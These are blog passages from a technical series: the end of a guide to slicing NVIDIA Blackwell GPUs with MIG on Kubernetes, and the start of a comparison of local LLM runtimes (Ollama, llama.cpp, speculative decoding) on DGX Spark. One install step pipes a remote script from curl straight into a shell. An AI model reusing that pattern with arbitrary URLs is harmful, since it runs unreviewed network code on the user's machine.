A platform is only as good as its observability. Once your 32 GPU slices are registered, you need a centralized dashboard to monitor metrics like VRAM usage, temperature, and Tensor Core utilization.

To achieve this, deploy the Prometheus community stack and hook it into the telemetry streams of the `nvidia-dcgm-exporter`.

**Step 1: Install the kube-prometheus-stack.**

```sh
root@gpu-rtxpro6000-8:~# helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
root@gpu-rtxpro6000-8:~# helm repo update

root@gpu-rtxpro6000-8:~# helm install prometheus prometheus-community/kube-prometheus-stack \
  -n monitoring --create-namespace
```

**Step 2: Apply the ServiceMonitor.** By default, Prometheus only scans its own namespace. This manifest uses a `namespaceSelector` to target the `nvidia-dcgm-exporter` Service inside the `gpu-operator` namespace:

```yaml
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
  name: nvidia-dcgm-exporter
  # Deploy in the 'monitoring' namespace where Prometheus runs
  namespace: monitoring
  labels:
    release: prometheus
    app.kubernetes.io/instance: prometheus
    app.kubernetes.io/managed-by: Helm
spec:
  # Scrapes the service in the gpu-operator namespace
  namespaceSelector:
    matchNames:
    - gpu-operator
  selector:
    matchLabels:
      # Matches the exact standard label created by the NVIDIA GPU Operator Helm chart
      app: nvidia-dcgm-exporter
  endpoints:
  - port: gpu-metrics
    interval: 15s
    path: /metrics
```

Apply it:

```sh
root@gpu-rtxpro6000-8:~# kubectl apply -f nvidia-servicemonitor.yaml
```

**Step 3: Configure the Grafana dashboard.** NVIDIA maintains an official dashboard for DCGM exporter metrics:

1. Log into your Grafana UI.
2. Navigate to **Dashboards** -> **Import**.
3. Import **Dashboard ID: `22515`**.
4. Select your Prometheus data source and click **Import**.

This loads an interactive panel showing real-time health and performance across all 32 partitions:

![Grafana NVIDIA DCGM dashboard showing per-GPU power, memory, temperature, and Tensor Core utilization](/img/blog/slicing-gpus-in-kubernetes-with-nvidia-mig/gpu-observability.jpg)

## Run a Real Workload on a Slice (Blackwell, sm_120)

There is one final trap waiting at the workload layer.

The NVIDIA Blackwell architecture uses a new compute capability version: **Compute Capability 12.0 (`sm_120`)**. If you use older container images (such as `pytorch:2.1.2-cuda12.1`), execution crashes with:

```
RuntimeError: CUDA error: no kernel image is available for execution on the device
```

Older PyTorch binaries simply do not contain compiled kernels for `sm_120`. Use a modern PyTorch image compiled with CUDA 12.8+ or the official **NVIDIA NGC PyTorch containers** (version `25.01-py3` or later), which natively support Blackwell.

Here is the verified Deployment manifest that runs a matrix multiplication load on a single 24GB Blackwell MIG slice. Note the resource request: `nvidia.com/mig-1g.24gb`, the mixed-strategy resource name our device plugin advertises:

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: pytorch-mig-demo
  labels:
    app: pytorch-mig-demo
spec:
  replicas: 1
  selector:
    matchLabels:
      app: pytorch-mig-demo
  template:
    metadata:
      labels:
        app: pytorch-mig-demo
    spec:
      runtimeClassName: nvidia
      containers:
      - name: pytorch
        # NVIDIA's official PyTorch NGC container (25.01 or later)
        # compiled to support the Blackwell architecture (sm_120)
        image: nvcr.io/nvidia/pytorch:25.01-py3
        command: ["python3", "-c"]
        args:
        - |
          import torch
          import time

          print("=== CUDA MIG Slice Diagnostics ===")
          print("CUDA Available:", torch.cuda.is_available())
          if torch.cuda.is_available():
              print("Device Name:", torch.cuda.get_device_name(0))
              print("Device Capability:", torch.cuda.get_device_capability(0))
              print("CUDA Device Count:", torch.cuda.device_count())

              # Allocate memory and perform matrix multiplication to generate GPU load
              print("Allocating tensors on GPU and starting matrix math load...")
              device = torch.device("cuda")
              x = torch.randn(10000, 10000, device=device)
              y = torch.randn(10000, 10000, device=device)

              # Keep running matrix multiplications to hold the CUDA context and load
              while True:
                  z = torch.matmul(x, y)
                  time.sleep(0.5)
          else:
              print("ERROR: CUDA is not available inside the container!")
              time.sleep(3600)
        resources:
          limits:
            nvidia.com/mig-1g.24gb: 1
          requests:
            nvidia.com/mig-1g.24gb: 1
```

### Prove the Isolation, From Both Sides

Once the pod is running, exec into the container and run `nvidia-smi`. You will observe exactly **one GPU** with **24GB VRAM**. The container cannot see the other 7 physical cards or the other 31 slices:

```sh
root@gpu-rtxpro6000-8:~# kubectl exec -it pytorch-mig-demo-c9f7c8b49-sl5qh -- bash
root@pytorch-mig-demo-c9f7c8b49-sl5qh:/workspace# nvidia-smi
Tue Jul 14 19:44:18 2026
+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 610.43.02              KMD Version: 610.43.02     CUDA UMD Version: 13.3     |
+-----------------------------------------+------------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. |
|                                         |                        |               MIG M. |
|=========================================+========================+======================|
|   0  NVIDIA RTX PRO 6000 Blac...    On  |   00000000:61:00.0 Off |                   On |
| N/A   34C    P0            108W /  600W |                  N/A   |     N/A      Default |
|                                         |                        |              Enabled |
+-----------------------------------------+------------------------+----------------------+

+-----------------------------------------------------------------------------------------+
| MIG devices:                                                                            |
+------------------+----------------------------------+-----------+-----------------------+
| GPU  GI  CI  MIG |              Shared Memory-Usage |        Vol|        Shared         |
|      ID  ID  Dev |                Shared BAR1-Usage | SM     Unc| CE ENC  DEC  OFA  JPG |
|                  |                                  |        ECC|                       |
|==================+==================================+===========+=======================|
|  0    6   0   0  |            1786MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+

+-----------------------------------------------------------------------------------------+
| Processes:                                                                              |
|  GPU   GI   CI              PID   Type   Process name                        GPU Memory |
|        ID   ID                                                               Usage      |
|=========================================================================================|
|    0    6    0                1      C   python3                                1714MiB |
+-----------------------------------------------------------------------------------------+
```

The pod only sees the `1g.24gb` slice that has been given to it and nothing else, with its 24GiB of memory shown under the MIG devices section.

Now look at the same moment from the host. The host sees everything: all cards, all slices, and the exact same `python3` process burning memory on one specific slice (output trimmed to two GPUs to keep it readable):

```sh
root@gpu-rtxpro6000-8:~# nvidia-smi

Tue Jul 14 19:52:39 2026
+-----------------------------------------------------------------------------------------+
| NVIDIA-SMI 610.43.02              KMD Version: 610.43.02     CUDA UMD Version: 13.3     |
+-----------------------------------------+------------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id          Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |           Memory-Usage | GPU-Util  Compute M. |
|                                         |                        |               MIG M. |
|=========================================+========================+======================|
|   2  NVIDIA RTX PRO 6000 Blac...    On  |   00000000:41:00.0 Off |                   On |
| N/A   26C    P8             40W /  600W |     256MiB /  97887MiB |     N/A      Default |
|                                         |                        |              Enabled |
+-----------------------------------------+------------------------+----------------------+
|   3  NVIDIA RTX PRO 6000 Blac...    On  |   00000000:61:00.0 Off |                   On |
| N/A   36C    P0            108W /  600W |    1977MiB /  97887MiB |     N/A      Default |
|                                         |                        |              Enabled |
+-----------------------------------------+------------------------+----------------------+
+-----------------------------------------------------------------------------------------+
| MIG devices:                                                                            |
+------------------+----------------------------------+-----------+-----------------------+
| GPU  GI  CI  MIG |              Shared Memory-Usage |        Vol|        Shared         |
|      ID  ID  Dev |                Shared BAR1-Usage | SM     Unc| CE ENC  DEC  OFA  JPG |
|                  |                                  |        ECC|                       |
|==================+==================================+===========+=======================|
|  2    3   0   0  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  2    4   0   1  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  2    5   0   2  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  2    6   0   3  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  3    3   0   0  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  3    4   0   1  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  3    5   0   2  |              64MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
|  3    6   0   3  |            1786MiB / 24192MiB    | 46      0 |  1   1    1    0    1 |
|                  |               0MiB /  8317MiB    |           |                       |
+------------------+----------------------------------+-----------+-----------------------+
+-----------------------------------------------------------------------------------------+
| Processes:                                                                              |
|  GPU   GI   CI              PID   Type   Process name                        GPU Memory |
|        ID   ID                                                               Usage      |
|=========================================================================================|
|    3    6    0           698976      C   python3                                1714MiB |
+-----------------------------------------------------------------------------------------+
```

Same `python3` process, same 1714MiB, visible in both views because both are looking at the same hardware-isolated MIG slice. The other slices on that card show 64MiB of idle overhead each, completely untouched by the running workload. This is the beauty of MIG.

## The Platform Properties Compared

Here is the before-and-after, the way your finance and platform teams will evaluate it:

| Property | 8 whole GPUs | 32 MIG slices |
| --- | --- | --- |
| Schedulable GPU resources | 8 | 32 |
| Small workload claims | Entire 96GB card | One 24GB hardware-isolated slice |
| Isolation model | Software-level (container boundaries) | Silicon-level (memory crossbars + SM channels) |
| OOM blast radius | Can destabilize the whole card | Contained within the 24GB slice |
| Developer wait times | Queue behind 8 indivisible cards | Immediate self-service on 32 slices |
| Configuration | Ad-hoc `nvidia-smi` scripts | Declarative node labels via the GPU Operator |

## Conclusion

GPU sharing is a spectrum. Time-slicing shares by taking turns, MPS shares by trusting neighbors, and MIG shares by building walls in silicon. When the tenants are real (different teams, different customers, different blast radii), MIG is the one that lets you sleep.

Here is what you accomplished in this walkthrough:

1. Understood the three GPU sharing mechanisms and why only MIG gives hardware-enforced tenant isolation.
2. Learned the GPU Instance / Compute Instance hierarchy and why MIG must partition both memory and compute.
3. Took a single GPU through the full MIG lifecycle by hand: enable, inspect profiles, carve slices, verify, run a workload, and tear everything back down to a whole card.
4. Scaled the same commands to all 8 GPUs by dropping one flag, producing 32 hardware-isolated `1g.24gb` instances.
5. Deployed the NVIDIA GPU Operator to make the whole configuration declarative and GitOps-friendly, with a single node label replacing the manual command sequence.
6. Diagnosed and fixed four real production pitfalls: non-standard containerd paths, MIG Manager overwrites, host-level state drift, and manual-mode Kubelet discovery.
7. Wired DCGM telemetry into a Prometheus + Grafana dashboard for slice-level observability.
8. Verified the isolation from both sides by running a PyTorch workload on a single `sm_120` slice.

Building a high-efficiency GPU platform is not just about having the fastest silicon. It is about managing and distributing that compute pool effectively. Slicing the Blackwell architecture with MIG gives you the balance of strict isolation, cost optimization, and developer self-service that makes the platform actually work.

If this was useful, the NVIDIA GPU Operator lives at [docs.nvidia.com](https://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/index.html) and on [GitHub](https://github.com/NVIDIA/gpu-operator), and the full MIG user guide is at [docs.nvidia.com/datacenter/tesla/mig-user-guide](https://docs.nvidia.com/datacenter/tesla/mig-user-guide/).

---

# Day 5: Local LLM Inference Engines, Wrappers, and What to Pick

- Canonical: https://blog.kubesimplify.com/day-5-local-llm-inference-engines-wrappers-and-what-to-pick
- Published: 2026-07-17
- Summary: A beginner-friendly guide to local LLM inference, with the same Qwen model tested through Ollama, llama.cpp, Docker Model Runner, vLLM, SGLang, and TensorRT-LLM on NVIDIA DGX Spark.

*Day 5 of the Local LLM series, tested on DGX Spark. A field guide to running serious models on a $4,699 box on your desk.*

---

In [Day 4](/blog/day-4-quantization-demystified-bf16-fp8-nvfp4-mxfp4-int4-gguf-and-why-it-all-matters), we learned how model numbers are stored: BF16, FP8, NVFP4, MXFP4, INT4, GGUF, and the rest of the 4-bit zoo.

Now comes the next layer.

You can have the right model and the right quantization format, and still get the wrong experience if you pick the wrong runtime.

This is the part people usually compress into one sentence:

"Just run it with Ollama."

That is a good start. It is not the whole story.

On a DGX Spark, the software layer decides:

- how the model is loaded into memory
- how requests are queued
- how multiple users share the GPU
- how the KV cache is stored
- whether shared prompts are reused
- whether speculative decoding is available
- whether NVFP4, FP8, MXFP4, or GGUF paths are actually fast
- whether your app sees an OpenAI-compatible API or a custom interface

So Day 5 is about local LLM inference engines: Ollama, llama.cpp, vLLM, SGLang, Docker Model Runner, LM Studio, TensorRT-LLM, NIM, and the newer serving projects worth watching.

One sentence to keep in your head:

**The model is the brain. The runtime is the factory floor that makes the brain useful.**

## First, what is inference?

One word needs a plain definition before we compare tools: **inference**.

Training is when a model learns. The model reads huge amounts of text, makes predictions, gets things wrong, and slowly adjusts its internal numbers, called weights. Training changes the model. It is expensive, usually done on big clusters, and it is not what most people mean when they run a model on a desk machine.

Inference is when a trained model is used. The weights are already learned. They are loaded into memory, your prompt goes in, and the model uses those frozen weights to produce an answer one token at a time.

So the beginner version is:

- **Training** means teaching the model.
- **Inference** means using the model.
- **Fine-tuning** is a smaller kind of training where you adjust an existing model for a narrower task.

Every time you run `ollama run`, send a request to vLLM, or call a local OpenAI-compatible endpoint, you are doing inference.

That is why this post matters. Your Spark is not mostly valuable because it can train a frontier model from scratch. It is valuable because it can keep useful trained models close to your apps and run inference locally.

## Then, what is an inference engine?

Let us slow this down properly.

When you ask a local LLM a question, there are several layers involved. People often call all of them "the inference engine," but that is not quite right.

| Layer | Plain English | Example |
|---|---|---|
| Model file | The learned weights on disk | GGUF file, safetensors folder |
| Inference engine | The code that reads the weights and runs the math | llama.cpp, vLLM, SGLang, TensorRT-LLM |
| Serving wrapper | The CLI or server around the engine | Ollama, LM Studio, Docker Model Runner |
| API surface | The protocol your app talks to | OpenAI-compatible `/v1/chat/completions` |
| Application layer | The thing using the model | Hermes Agent, your app, a RAG service |

That distinction matters.

Ollama is not the same kind of thing as llama.cpp. Ollama is the friendly service and model registry. llama.cpp is the lower-level engine doing the actual GGUF inference underneath.

NIM is not the same kind of thing as TensorRT-LLM. NIM is NVIDIA's packaged, supported microservice. TensorRT-LLM is one of the high-performance backend engines NIM can use.

Hermes Agent is not an inference engine at all. It is an agent framework that calls a local serving endpoint underneath it.

If you remember this stack, the rest of the post becomes much easier.

{{day5-runtime-stack-animation}}

## What happens when a request arrives

This is the beginner version of the runtime job:

1. Your app sends a prompt.
2. The tokenizer turns the prompt into tokens.
3. The runtime runs **prefill**, where the model reads the prompt and builds the KV cache.
4. The runtime runs **decode**, where the model generates one token at a time.
5. If more users arrive, the scheduler decides which requests get batched together.
6. If prompts share a prefix, the cache manager may reuse old work.
7. If speculative decoding is enabled, a draft path may guess future tokens and let the main model verify them.
8. The server streams tokens back to your app.

So the runtime is not just "run matrix multiplication." It is a traffic controller, memory manager, model loader, API server, and performance engineer in one package.

This is why two setups on the same Spark can feel completely different.

Same GB10. Same unified memory. Similar model size. Wildly different runtime behavior.

## Four clocks, not one speed number

Before comparing engines, we need one more beginner mental model.

People often ask, "How fast did the model run?" But an inference request has at least four useful clocks:

| Clock | What it measures | What it feels like |
|---|---|---|
| **Model startup** | Time to load weights, compile kernels, and prepare memory | "Why is the server not ready yet?" |
| **Time to first token (TTFT)** | Time from sending the request until the first generated token arrives | "Why is the chat bubble still empty?" |
| **Inter-token latency (ITL)** | Delay between one generated token and the next | "How smoothly is the answer streaming?" |
| **Aggregate throughput** | Total tokens produced for all active users each second | "How many requests can this server handle together?" |

The prompt-reading phase, called **prefill**, has a large effect on TTFT. The one-token-at-a-time phase, called **decode**, controls the streaming rhythm after the first token appears. We built those stages from first principles in [Day 2](/blog/day-2-anatomy-of-an-llm-inference-request-from-prompt-to-answer-step-by-step).

A runtime can win one clock and lose another. Ollama may feel wonderful for one person. vLLM may take longer to start but serve many simultaneous requests far more efficiently. A benchmark that prints only one `tok/s` number can hide that difference completely.

{{day5-inference-metrics-animation}}

For the controlled single-request tests in this post, I report **output tokens divided by the full API request time**. I call that **wall output tok/s**. When llama.cpp or Ollama also reports its internal decode rate, I show that separately. This prevents us from pretending two different measurements are the same thing.

## The cast

Here is the map for the rest of the post.

| Tool | What it really is | Easiest sentence |
|---|---|---|
| **Ollama** | Friendly local model service, mostly llama.cpp underneath | "Type two commands and chat." |
| **llama.cpp** | Low-level GGUF inference engine | "Power users who want every knob." |
| **Docker Model Runner** | Docker-native model runner and packaging flow | "Treat models like Docker artifacts." |
| **LM Studio / llmster** | Desktop and headless local model service | "Great UX, now Spark-friendly too." |
| **vLLM** | Production serving engine | "Best general API-serving path for teams." |
| **SGLang** | Serving engine built for structured and shared-prefix workloads | "When many requests reuse the same prompt prefix." |
| **TensorRT-LLM** | NVIDIA's high-performance inference library | "When you want the NVIDIA-optimized path and can handle setup." |
| **NVIDIA NIM** | Packaged NVIDIA inference microservice | "Supported container with tested model profiles." |
| **Hermes Agent / agent frameworks** | Application layer on top | "The thing using the runtime, not the runtime itself." |

Calling all of them "inference engines" would be inaccurate. This post is really about **ways to serve LLMs on Spark**, because some entries are engines, some are wrappers, and some are application layers.

## Ollama: the easiest first step

[Ollama](https://ollama.com) is still the best first run for most people.

On a Spark, DGX OS gives you the NVIDIA and Docker foundation, but Ollama is still a separate install:

```bash
curl -fsSL https://ollama.com/install.sh | sh
```

Then:

```bash
ollama pull nemotron-3-super
ollama run nemotron-3-super
```

That is the magic of Ollama. You are not thinking about safetensors folders, model loaders, Docker images, or server ports. You pull a model and start talking.

Under the hood, Ollama usually gives you a llama.cpp-style local inference path. Most of the models people run locally through Ollama are GGUF-style quantized artifacts, though Ollama hides a lot of that detail.

### Ollama on Spark today: what I measured

Early Spark testing was messy, and I once hit an older Ollama build that failed to offload correctly. That bug is not the current state of Ollama on Spark. Here is the current box:

```bash
nvidia-smi
# NVIDIA-SMI 580.159.03
# Driver Version: 580.159.03
# CUDA Version: 13.0
# GPU: NVIDIA GB10

ollama -v
# ollama version is 0.30.10
```

The local model list is not toy-sized:

```bash
ollama list
# NAME                       ID              SIZE
# llama3.1:8b                46e0c10c039e    4.9 GB
# gemma4:26b                 5571076f3d70    17 GB
# qwen2.5vl:7b               5ced39dfa4ba    6.0 GB
# nemotron-3-super:latest    95acc78b3ffd    86 GB
# qwen3.5:35b-a3b            3460ffeede54    23 GB
```

For the controlled comparison, I pulled Qwen2.5 3B and confirmed the artifact:

```bash
ollama pull qwen2.5:3b
ollama show qwen2.5:3b
# parameters      3.1B
# quantization    Q4_K_M
```

Then I sent the fixed prompt through Ollama's local API. The `num_predict` option makes the 256-token output limit explicit:

```bash
curl -s http://127.0.0.1:11434/api/chat -d '{
  "model": "qwen2.5:3b",
  "messages": [{
    "role": "user",
    "content": "Explain Kubernetes Pods to an absolute beginner. Include a kitchen analogy, what containers inside one Pod share, how a Deployment uses Pods, and one practical example. Write at least 350 words and do not conclude early."
  }],
  "stream": false,
  "options": {
    "temperature": 0,
    "seed": 42,
    "num_predict": 256
  }
}' | jq '{load_duration, prompt_eval_count, prompt_eval_duration, eval_count, eval_duration}'
```

The first request included model loading:

```text
load duration:        5.344s
prompt eval count:    75 token(s)
prompt eval rate:     738.85 tokens/s
eval count:           256 token(s)
eval rate:            98.27 tokens/s
```

Across the next three warm requests, the engine-reported decode rates were `98.71`, `99.14`, and `99.52 tok/s`. The first request measured `31.68 wall output tok/s` including load, and the warm median was `93.74 wall output tok/s`.

To reproduce the wall numbers, capture the full request time too: either wrap the `curl` in `time`, or add `total_duration` (nanoseconds for the whole request) to the `jq` field list and divide `eval_count` by it.

Always verify where the model actually landed:

```bash
ollama ps
# NAME          SIZE      PROCESSOR    CONTEXT
# qwen2.5:3b    3.4 GB    100% GPU     32768
```

That confirms both the speed and the GPU path. But a 3B model is not why someone buys a 128 GB Spark. I also ran one large-model sanity check.

On the same Spark, with the 86 GB Ollama artifact already on disk:

```bash
ollama run nemotron-3-super:latest \
  "what is a docker container" \
  --verbose
```

The output was a long answer, so this is not the same controlled 256-token test as the Qwen result above. But the decode number is still useful:

```text
total duration:       1m6.807946086s
load duration:        307.733036ms
prompt eval count:    22 token(s)
prompt eval rate:     31.37 tokens/s
eval count:           1343 token(s)
eval rate:            20.45 tokens/s
```

That is a 120B-class mixture-of-experts model generating locally through Ollama at about `20 tok/s`. "120B-class" describes all the stored parameters; only part of the model is active for each token. Earlier captures for this same 86 GB Ollama artifact landed around `17.71-19.5 tok/s`, so the current result is a healthy confirmation, not an unexplained jump.

This run was done with no other active inference model loaded. The plain-English interpretation:

- `prompt eval` is prefill: reading the input prompt and building the KV cache.
- `eval` is decode: generating the answer tokens.
- For interactive chat, `eval rate` is the number most people feel.

Ollama also publishes official DGX Spark benchmarks. The practical lesson is simple: current Ollama builds can use the Spark GPU well. If your run is unexpectedly slow, check `ollama ps`, `ollama -v`, model format, context size, and firmware/driver state before blaming the hardware.

### When Ollama is the right choice

Use Ollama when:

- you are one person chatting with one model
- you want the easiest install
- you want a huge model catalog
- you want a local endpoint that many tools already understand
- you are integrating an agent framework that already supports Ollama

Do not start with Ollama when:

- you need heavy multi-user batching
- you need every low-level runtime flag
- you need the fastest NVFP4 or FP8 production path
- you need strict production observability and scheduling control

Ollama exposes OpenAI-compatible APIs, including newer API surfaces in recent versions, but its strongest role is still local-first serving rather than a full production scheduler.

## llama.cpp: the engine under the friendly wrappers

[`llama.cpp`](https://github.com/ggml-org/llama.cpp) is the C++ inference engine behind a huge part of local AI.

Ollama wraps it. LM Studio often wraps it. Docker Model Runner can use it. Many GGUF workflows eventually lead back to it.

If Ollama is the automatic car, llama.cpp is the manual gearbox.

Example:

```bash
docker run -d --name llama-server --gpus all -p 8080:8080 \
  -v /opt/models:/models \
  ghcr.io/ggml-org/llama.cpp:server-cuda \
  -m /models/gemma-3-27b-it-Q4_K_M.gguf \
  --n-gpu-layers 999 \
  --ctx-size 4096 \
  --port 8080
```

The flag `--n-gpu-layers 999` means: put as much of the model as possible on the GPU path. If you are debugging CPU fallback, this kind of explicit control is useful.

llama.cpp gives you:

- GGUF model support, the compact quantized format from Day 4
- CPU, CUDA, Metal, Vulkan, and other backend paths depending on build, so the same GGUF file can run on a Spark, a MacBook, or a Raspberry Pi
- explicit GPU layer offload, meaning you decide how many of the model's layers live on the GPU. That is the `--n-gpu-layers` flag above
- an OpenAI-compatible server mode, so apps written for the OpenAI API can point at your Spark instead
- grammar and JSON-constrained decoding: you hand the server a grammar or JSON schema, and during generation it simply refuses any token that would break the format. As long as generation completes within its token budget and the grammar covers your schema features, the output stays parseable instead of "usually valid JSON"
- continuous batching, the request-packing idea explained with an example in the vLLM section below
- speculative decoding options, covered in their own section below
- a large ecosystem of quantized model files, because GGUF is the de facto community format for local models

The tradeoff is that llama.cpp exposes the sharp edges. You can tune it beautifully. You can also tune it into the floor.

### Bare llama.cpp on Spark: what I measured

Many people skip the wrapper and run `llama-server` directly. To make that comparison honest, I mounted the exact blob Ollama had just used.

You can see the blob path in Ollama's generated model file:

```bash
ollama show --modelfile qwen2.5:3b
# Look for the FROM /.../sha256-... line.
```

That `sha256-...` file name is not random. Ollama stores models content-addressed, meaning the file is named by the hash of its own bytes. Which is exactly why this comparison is airtight: if llama.cpp opens that path, it is reading byte-for-byte the same artifact Ollama just served.

Then start the direct engine with that file mounted read-only:

```bash
OLLAMA_BLOB=/usr/share/ollama/.ollama/models/blobs/sha256-5ee4f07cdb9beadbbb293e85803c569b01bd37ed059d2715faa7bb405f31caa6

docker run -d --rm --name day5-llama-qwen3b \
  --gpus all \
  --ipc=host \
  -p 127.0.0.1:8080:8080 \
  -v "${OLLAMA_BLOB}:/models/qwen2.5-3b-q4_k_m.gguf:ro" \
  ghcr.io/ggml-org/llama.cpp@sha256:b58e2ecb2b3964080f1ca9662237ed92c2d267b0b0211c5eacfe3417ff1c20a1 \
  -m /models/qwen2.5-3b-q4_k_m.gguf \
  --ctx-size 4096 \
  --n-gpu-layers 99 \
  --flash-attn on \
  --parallel 1 \
  --port 8080 \
  --host 0.0.0.0 \
  --jinja
```

Three flags in there deserve a plain explanation, because they are the kind of thing wrappers normally hide:

- `--flash-attn on` enables FlashAttention, a smarter way to compute attention. Instead of building the full attention matrix in memory, it works through small tiles that stay in the GPU's fast on-chip memory. The attention it computes is mathematically equivalent, though reordered floating-point operations can produce tiny numerical differences. Less memory traffic, and the win grows with context length.
- `--jinja` tells the server to apply the model's own chat template, the Jinja-format wrapper that converts your `messages` array into the exact text layout the model was trained on, including its special role and turn markers. If a chat model ever ignores your question and just keeps completing your text, a missing or wrong chat template is one of the first things to check.
- `--ipc=host` on the Docker side gives the container the host's shared-memory space. Docker's default shared-memory allowance is tiny, and multi-process inference servers that pass tensors between processes (vLLM, for example) can crash or slow down without it. Single-process llama.cpp does not normally need it; I kept the flag so every container in this post ran with the same Docker settings.

Wait for the server:

```bash
curl http://127.0.0.1:8080/health
```

The `@sha256` digest is Docker's immutable reference form. It pins the exact image I measured (the `server-cuda` tag at test time, llama.cpp build `9917`), because `server-cuda` itself is a mutable tag that moves with new releases.

Then send the same fixed request. This small Python snippet works with any OpenAI-compatible chat endpoint; change only `url` and `model`:

```bash
python3 - <<'PY'
import json
import time
import urllib.request

payload = {
    "model": "qwen2.5-3b-q4_k_m.gguf",
    "messages": [
        {
            "role": "user",
            "content": "Explain Kubernetes Pods to an absolute beginner. Include a kitchen analogy, what containers inside one Pod share, how a Deployment uses Pods, and one practical example. Write at least 350 words and do not conclude early."
        }
    ],
    "max_tokens": 256,
    "temperature": 0,
    "seed": 42,
    "stream": False,
}

request = urllib.request.Request(
    "http://127.0.0.1:8080/v1/chat/completions",
    data=json.dumps(payload).encode(),
    headers={"Content-Type": "application/json"},
)

start = time.time()
with urllib.request.urlopen(request, timeout=240) as response:
    result = json.loads(response.read())
elapsed = time.time() - start

completion_tokens = result["usage"]["completion_tokens"]
print("completion_tokens:", completion_tokens)
print("elapsed_s:", round(elapsed, 3))
print("wall_decode_tok_s:", round(completion_tokens / elapsed, 2))
PY
```

Run the request three times after the first call, then check llama.cpp's own decode timing:

```bash
docker logs day5-llama-qwen3b 2>&1 | grep "eval time" | tail -4
```

The first request took `17.689s` wall time. The next three took `2.515s`, `2.521s`, and `2.523s` for 256 output tokens. That gives a warm median of `101.55 wall output tok/s`. llama.cpp's own warm decode median was `102.26 tok/s`.

The direct path was about 8% ahead of Ollama's full-request wall number in this tiny, sequential test. That is measurable, but it is not a reason to abandon Ollama. Ollama is doing useful wrapper work: model discovery, manifests, lifecycle management, defaults, and a friendly CLI. Bare llama.cpp gives you the knobs and removes some wrapper overhead.

I also ran a much larger `Qwen3.6-27B-Q4_K_M` artifact directly. Its server-side baseline was:

```text
eval time = 20170.43 ms / 256 tokens (78.79 ms per token, 12.69 tokens per second)
```

That second result is not part of the six-path comparison. It is here because the same 27B checkpoint appears in the speculative-decoding work below, and our `12.69 tok/s` baseline closely matches the PR author's `12.57 tok/s` Spark baseline.

Cleanup:

```bash
docker rm -f day5-llama-qwen3b
```

The point is not just the number. Direct llama.cpp is a real server path, and it gives you lower-level control over model files, context length, batching, flash attention, GPU offload, chat templates, and speculative decoding.

## Speculative decoding and MTP, in plain English

This is important enough to pause on.

Normal decode is slow because the big model usually produces one token at a time.

The model reads the active weights, produces scores, picks one next token, appends it, and repeats.

Speculative decoding tries to cheat that loop.

The idea:

1. A cheap draft path guesses several future tokens.
2. The big model checks those guessed tokens in one bigger pass.
3. Accepted tokens are kept.
4. Rejected tokens are thrown away and the runtime falls back.

If the guesses are good, you get multiple output tokens for something closer to one expensive big-model step.

If the guesses are bad, you wasted work.

That is the whole idea.

{{day5-speculative-decoding-animation}}

There are different ways to create the draft tokens:

| Method | Simple meaning |
|---|---|
| Small draft model | A smaller model guesses ahead; the large model verifies. |
| MTP heads | The main model has extra heads trained to predict future tokens. |
| N-gram draft | The runtime looks for repeated token patterns in the current context. |
| DFlash | A draft model proposes a whole block of candidate tokens in one pass, then the target verifies. |
| EAGLE / Medusa-style methods | More advanced draft-and-verify families used by some serving stacks. |

llama.cpp documents speculative decoding and includes a `draft-mtp` mode:

```bash
llama-server \
  -m model-with-mtp.gguf \
  --n-gpu-layers 999 \
  --spec-type draft-mtp \
  --spec-draft-n-max 2
```

And this part is moving fast. On June 28, 2026, llama.cpp merged PR [#22105](https://github.com/ggml-org/llama.cpp/pull/22105), adding DFlash speculative decoding support with `--spec-type draft-dflash`:

```bash
llama-server \
  -m target-model.gguf \
  -md dflash-draft-model.gguf \
  --spec-type draft-dflash \
  --spec-draft-n-max 15 \
  -ngl 99 \
  -fa on
```

That PR includes a Spark-relevant SpeedBench result: `Qwen3.6-27B` and its DFlash draft, both `Q4_K_M`, tested on DGX Spark. The overall decode number moved from `12.57` predicted tok/s to `33.76` predicted tok/s, a `2.69x` decode speedup. Some categories were higher, such as RAG at `4.07x` and coding at `3.11x`.

Treat this as **bleeding edge**, not a normal "copy this command and it works everywhere" feature. DFlash is now merged into llama.cpp `master` and documented there, but your installed release or container may not include it yet. The target model, draft model, runtime build, and GGUF metadata all have to line up.

I did **not** run the DFlash path on my Spark for this post. I ran the ordinary 27B baseline and verified that it matched the PR baseline closely; the `2.69x` result reported here belongs to the PR author's Spark test. That distinction matters.

So the honest Day 5 takeaway is:

**Speculative decoding is no longer only a research-paper idea or a hosted-inference trick. It is landing in local runtimes too. But it needs the right model, the right draft artifact, and a workload where the draft tokens are accepted often enough.**

This is not a guaranteed "2x flag":

**Speculative decoding can speed up decode when the model, draft path, and runtime match well. It can also do nothing or slow you down if acceptance is poor. Benchmark your checkpoint.**

